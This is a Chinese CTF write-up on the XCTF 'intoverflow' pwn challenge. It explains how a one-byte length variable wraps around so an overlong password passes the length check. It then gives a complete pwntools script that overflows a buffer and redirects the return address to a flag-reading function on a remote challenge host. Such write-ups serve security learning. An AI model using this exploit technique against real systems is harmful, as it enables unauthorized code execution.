xctf学习之intoverflow

此题题目为intoverflow,提示整数溢出,IDA阅读伪代码,发现Success条件是输入password长度为[3,8),而要程序中有个函数what_is_this,功能是cat flag,所以要想获取flag,需要让程序运行此函数,而程序的运行并没有调用此函数,因此,必须溢出。存储输入password长度的变量是短整型,即8位二进制数,范围[0,255],当值大于255时,发生溢出,如256=0,而程序读入password的长度位199h,超过了256+8,所以,在256+3到256+7之间的长度都能满足要求。尝试输入长度为262的password,找到返回地址的偏移量,为24,及25-28字节为返回地址,将返回地址覆盖为what_is_this的地址,即输入了flag,exp:

from pwn import *

p=remote('111.198.29.45','44601')

offset=24

payload='a'*24+p32(0x804868B)+'b'*232

p.recvuntil('Your choice:')

p.sendline("1")

p.recvuntil("Please input your username:\n")

p.sendline("A")

print p.recvuntil("Please input your passwd:\n")

p.sendline(payload) 

print p.recv()

print p.recv()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值